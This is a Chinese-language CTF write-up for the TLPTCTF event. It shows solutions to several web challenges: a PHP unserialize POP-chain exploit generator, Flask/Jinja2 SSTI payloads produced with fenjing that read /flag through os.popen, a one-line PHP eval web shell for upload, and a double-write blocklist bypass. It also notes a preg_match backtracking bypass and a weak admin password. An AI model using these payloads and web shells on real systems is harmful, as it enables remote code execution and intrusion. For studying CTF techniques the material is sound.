TLPTCTF 魔法图书馆 纯纯拷打ai,没有半点思考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <?php error_reporting (0 );class Admin { private $token = "Keykeykey" ; public $command ; public function __construct ($cmd ) { $this ->command = $cmd ; } }class Page { public $content ; private $filter ; public function __construct ($filter ) { $this ->content = "anything" ; $this ->filter = $filter ; } }class Book { private $title ; protected $content ; public function __construct ($content ) { $this ->title = "title" ; $this ->content = $content ; } }class Library { private $books ; public function __construct ($book ) { $this ->books = array ($book ); } }$command = 'echo "<pre>".`env`."</pre>";' ;$admin = new Admin ($command );$page = new Page ($admin );$book = new Book ($page );$library = new Library ($book );$serialized = serialize ($library );$serialized = str_replace ( [ 's:6:"\0*\0content"' , 's:11:"\0Book\0title"' , 's:13:"\0Page\0filter"' , 's:11:"\0Admin\0token"' ], [ 's:14:"\0*\0content"' , // 保护属性长度修正 's:11:"\0Book\0title"' , // 私有属性保持不变 's:13:"\0Page\0filter"' , // 私有属性保持不变 's:11:"\0Admin\0token"' // 私有属性保持不变 ], $serialized );if (preg_match ('/system|eval|exec|shell|flag|popen/i' , $serialized )) { die ("[-] Error: Dangerous keywords detected in payload!" ); }echo "[+] Raw serialized data:\n" ;echo $serialized . "\n\n" ;echo "[+] Base64 encoded payload:\n" ;echo base64_encode ($serialized ) . "\n\n" ;echo "[+] URL encoded payload:\n" ;echo urlencode ($serialized ) . "\n" ;echo "\n[+] Testing unserialize:\n" ;$test = unserialize ($serialized );if ($test ) { echo "[+] Unserialize test passed!\n" ; } else { echo "[-] Unserialize failed!\n" ; }?>
拷打两个半小时出来了
官方wp里的 调⽤链: 1、Library类中的__destruct()魔术⽅法触发并且遍历 $books 数组
2、将数组元素转换为字符串的时候触发Book类中的__toString()魔术⽅法!
3、Book类中的__toString()调⽤$this->content->getContent(),这⾥的$this->content是Page对 象!
4、Page类中getContent()调⽤$this->process($this->content),但是Page类没有process⽅法,所以 触发Page类中的__call()⽅法! 5、Page类中的__call()执⾏call_user_func($this->filter, $args[0]),然后将$this->filter设置为Admin 对象!
6、Admin对象被当成函数调⽤时触发Admin类中的__invoke()
7、然后设置$this->token === “admin_token”,就可以执⾏ eval($this->command)!
8、使⽤passthru()绕过waf检测!
FLASK框架有什么漏洞呢 这个是去星盟的actfwp去找到的fenjing脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from fenjing import exec_cmd_payload, config_payloadimport loggingimport urllib logging.basicConfig(level=logging.INFO)def waf (s: str ): blacklist = ['__' ,'import' ,'os' ,'sys' ,'eval' ,'subprocess' ,'popen' ,'system' ,'%2f' , '%2F' ,'flag' ,'cat' ,'?' ] return all (word not in s for word in blacklist)if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "grep -r 'flag{'" ) shell_payload = urllib.parse.quote(shell_payload) print (f"{shell_payload=} " )
替换完waf直接出,有点牛逼
最payload:
1 {{(cycler.next ['_' '_globals_' '_' ] ['o' 's' ] ['p' 'open' ] ('ca' 't /fla' 'g' )).read ()}}
upload1 直接传马即可:
1 <?php eval ($_POST [shell]);
upload2 请求头里改一下mime即可
赛后复现: 真-签到 我甚至怀疑是蜜罐,fuzz sql 一点反应没有 结果是弱口令
admin/admin@123 bp默认密码本不说了,rockyou 一千四百万的密码本爆不出来
ezrce 这题打的太蠢了,看都不看就扔给ai,结果也是搞到最后也没做出来
开题给源码
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$code = $_POST ['code' ];$cmd = $_POST ['cmd' ];$pattern = '/exec|shell_exec|system|passthru|proc_open|show_source|phpinfo|popen|dl|proc_terminate|touch|escapeshellcmd|escapeshellarg|assert|substr_replace|call_user_func_array|call_user_func|array_filter|array_walk|array_map|register_shutdown_function|register_tick_function|filter_var|filter_var_array|uasort|uksort|array_reduce|array_walk_recursive|pcntl_exec|fopen|fwrite|file_put_contents|readfile|file_get_contents|highlight_file|eval/i' ;$filtered_code = preg_replace ($pattern , '' , $code );call_user_func ($filtered_code ,$cmd );
preg_replace() 函数用于替换字符串。
$pattern: 包含要匹配的正则表达式。
‘’: 用于替换的内容,即删除所有匹配到的文本。
$code: 是要执行 shell 命令的原始代码(可能包含 shell 命令)。
call_user_func($filtered_code,$cmd);
妈的明明双写绕过就行了,我连自己看一遍题目的耐心都没有了吗
payload: code=systsystemem&cmd=cat /flag
迷雾密传 不懂做,看官方wp:
根据提示使用
preg_match 函数的特性
preg_match我们能联想到⼀个php相关的特性也就是当preg_match回溯超过⼀百万次的时候后⾯匹 配的会直接返回false
反正就是,当php使用preg_match 来检测时 如: $_FILES[‘file’][‘name’]
当前面的[‘file’]长度操过1000000时,后面的[‘name’]以及其它参数就都变成false
再这道题就是 当文件名长度超过一百万个字符时后面的后缀就不会再检测,默认为false
马
thinkphp6!no!是thinkphp8! 搞不懂,以后再来探索